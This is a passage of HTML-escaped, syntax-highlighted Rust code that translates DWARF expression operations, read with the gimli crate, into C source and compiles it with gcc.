&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    }
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;_ =&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{}
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    file.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;flush&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Command::new(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;gcc&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;arg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;-O3&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;arg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;.&#x2F;output.c&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;arg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;-c&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;spawn&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(())
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;#[derive(Clone, Copy)]
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;Val {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;impl &lt;&#x2F;span&gt;&lt;span&gt;Val {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Self &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        Val { id }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;ValGenerator {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;impl &lt;&#x2F;span&gt;&lt;span&gt;ValGenerator {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;() -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Self &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Self &lt;&#x2F;span&gt;&lt;span&gt;{ id: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; Val {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.id &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        Val::new(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.id &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;impl &lt;&#x2F;span&gt;&lt;span&gt;Display &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;Val {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;fmt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut &lt;&#x2F;span&gt;&lt;span&gt;std::fmt::Formatter&amp;lt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;) -&amp;gt; std::fmt::Result {
&lt;&#x2F;span&gt;&lt;span&gt;        write!(f, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;v&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.id)
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;display_val_expression&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;R&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;target_reg&lt;&#x2F;span&gt;&lt;span&gt;: gimli::Register, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;exp&lt;&#x2F;span&gt;&lt;span&gt;: gimli::Expression&amp;lt;R&amp;gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;w&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; dyn Write) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Result&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;(), &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Box&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;dyn std::error::Error&amp;gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;where
&lt;&#x2F;span&gt;&lt;span&gt;        R: gimli::Reader,
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; val_generator &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ValGenerator::new();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; ops &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;operations&lt;&#x2F;span&gt;&lt;span&gt;(gimli::Encoding { address_size: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, format: gimli::Format::Dwarf64, version: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5 &lt;&#x2F;span&gt;&lt;span&gt;});
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; stack: &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;Val&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span&gt;::new();
&lt;&#x2F;span&gt;&lt;span&gt;    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;uint64_t cal_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;{{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gimli::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;X86_64&lt;&#x2F;span&gt;&lt;span&gt;::register_name(target_reg).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t rax=0,rbx=0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;loop &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let Ok&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Some&lt;&#x2F;span&gt;&lt;span&gt;(op)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; ops.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; op {
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Drop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Pick { index } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; index &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;usize&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Swap &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(val1);
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(val2);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Rot &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(val1);
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(val3);
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(val2);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::And &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Minus &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
